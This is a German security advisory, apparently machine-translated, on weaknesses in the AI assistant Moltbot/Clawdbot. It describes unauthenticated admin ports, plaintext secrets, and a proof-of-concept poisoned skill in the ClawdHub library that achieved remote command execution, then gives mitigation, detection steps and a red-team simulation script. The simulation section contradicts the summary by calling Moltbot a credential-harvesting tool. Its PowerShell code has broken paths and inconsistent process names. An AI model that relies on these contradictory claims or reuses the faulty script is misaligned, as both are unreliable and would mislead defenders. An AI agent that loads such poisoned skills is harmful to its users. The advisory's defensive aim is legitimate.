Die Moltbot / ClawdBots-Epidemie

Zusammenfassung

Der Artikel weist auf Sicherheitsprobleme rund um den KI-Persönlichen Assistenten hin, der zuerst als Clawdbot gebrandmarkt und später in Moltbot umbenannt wurde. Moltbot wird über Messaging-Apps wie WhatsApp und Telegram betrieben, doch viele Einsätze sind mit schwacher oder fehlender Authentifizierung aus dem Internet erreichbar. Es schreibt Benutzeranmeldeinformationen in Klartextdateien, und seine Skill-Bibliothek kann vergiftet werden, was eine Lieferkettenexposition schafft. Bedrohungsakteure könnten Geheimnisse stehlen, Quellcode exfiltrieren und den Assistenten als Hintertür umfunktionieren.

Untersuchung

Forscher fanden Hunderte von Moltbot-Instanzen, die nicht authentifizierte Admin-Ports und unsichere Proxy-Konfigurationen exponierten. Ein Proof-of-Concept-Lieferkettenangriff lud eine bösartige Fähigkeit in die ClawdHub-Bibliothek hoch, was die Ausführung von Fernbefehlen für nachgelagerte Benutzer demonstrierte. Analysten beobachteten auch, dass Geheimnisse in Klartext-Markdown- und JSON-Dateien bestehen bleiben, was sie zu einer leichten Beute für Commodity-Infostealer wie RedLine, Lumma und Vidar macht.

Minderung

Betreiber sollten für alle Moltbot-Dienste eine starke Authentifizierung verlangen, Admin-Ports schließen oder durch eine Firewall absichern und den Assistenten nicht dem Internet aussetzen. Aktivieren Sie Verschlüsselung im Ruhezustand für gespeicherte Geheimnisse, nutzen Sie Sandbox- oder Containerlösungen für die Laufzeit und beschränken Sie den Dateisystemzugriff. Überprüfen, signieren und fixieren Sie alle Fähigkeiten, die aus der Bibliothek geladen werden, und ziehen Sie in Betracht, die Skill-Funktion zu deaktivieren, wenn sie nicht sicher verwaltet werden kann.

Reaktion

Alarmieren Sie bei offenen Admin-Ports und nicht authentifizierten Zugriffsversuchen auf Moltbot. Überwachen Sie den KI-Prozess auf unerwartete Befehlsausführung und ausgehende Verbindungen zu unbekannten C2-Domains. Scannen Sie Hosts auf Anmeldeinformationsdiebstahl-Malware und überprüfen Sie die Integrität von gespeicherten Konfigurationsdateien. Wenn ein Kompromiss bestätigt wird, isolieren Sie das System, widerrufen Sie exponierte Anmeldeinformationen und setzen Sie Moltbot mit gehärteten Einstellungen neu ein.

Ausführung der Simulation

Voraussetzung: Der Telemetrie- & Basislinie-Pre-Flight-Check muss bestanden sein.

• Angriffserzählung & Befehle:
  Das Red Team setzt Moltbot (ein öffentlich verfügbares Tool zur Ernte von Anmeldeinformationen) auf einem kompromittierten Windows-Host ein. Durch den Start von Moltbot mit der Standardkonfiguration wird eine nicht authentifizierte HTTP-Admin-Konsole auf Port 8080 geöffnet, die im Banner “dem Web ausgesetzt” bewirbt. Dies erzeugt Netzwerkverbindungsereignisse, die mit den wörtlichen Zeichenketten der Erkennungsregel übereinstimmen. Der Angreifer greift dann von einer externen IP-Adresse auf die Benutzeroberfläche zu, um die Exposition zu überprüfen und generiert so die erforderliche Telemetrie.

  1. Download Moltbot (simuliert durch einen Platzhalter-Zip).
  2. Extrahieren Sie und führen Sie die Binärdatei mit den Standardflags aus (--listen 0.0.0.0:8080).
  3. Eventuell ein HTTP GET von einer externen IP-Adresse ausführen (simuliert über Invoke-WebRequest).

• Regressionstest-Skript:

  # ----------------------------------------------------
  # Moltbot-Expositionssimulation – PowerShell
  # ----------------------------------------------------
  # 1. Erstellen Sie ein temporäres Verzeichnis
  $tempDir = "$env:TEMPMoltbotSim"
  New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
  
  # 2. Simulieren Sie das Herunterladen einer Moltbot-Ausführungsdatei (Platzhalter)
  $molExe = "$tempDirmolbot.exe"
  Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing
  
  # 3. Führen Sie Moltbot mit den Standard (exponierten) Einstellungen aus
  $proc = Start-Process -FilePath $molExe `
                        -ArgumentList "--listen 0.0.0.0:8080" `
                        -PassThru `
                        -WindowStyle Hidden
  
  Write-Host "[+] Moltbot gestartet (PID: $($proc.Id)) hörend auf 0.0.0.0:8080"
  
  # 4. Warten Sie eine kurze Weile, um den Dienst in den Logs zu registrieren
  Start-Sleep -Seconds 5
  
  # 5. Simulieren Sie eine externe Verbindung, um Netzwerkverkehr zu generieren
  Try {
      Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5
      Write-Host "[+] Externe HTTP-Anfrage an die Moltbot-UI gesendet."
  } Catch {
      Write-Warning "[-] Zugriff auf die Moltbot-UI nicht möglich (kann von der Firewall blockiert werden)."
  }
  
  # 6. Halten Sie den Prozess für zusätzliche Log-Erfassung am Leben (optional)
  Start-Sleep -Seconds 20
  
  # 7. Bereinigung – Moltbot stoppen
  Stop-Process -Id $proc.Id -Force
  Remove-Item -Recurse -Force $tempDir
  Write-Host "[+] Moltbot-Simulation abgeschlossen und bereinigt."

• Bereinigungskommandos:

  # Beenden Sie alle verbliebenen Moltbot-Prozesse und löschen Sie temporäre Dateien
  Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue
  Write-Host "Bereinigung abgeschlossen."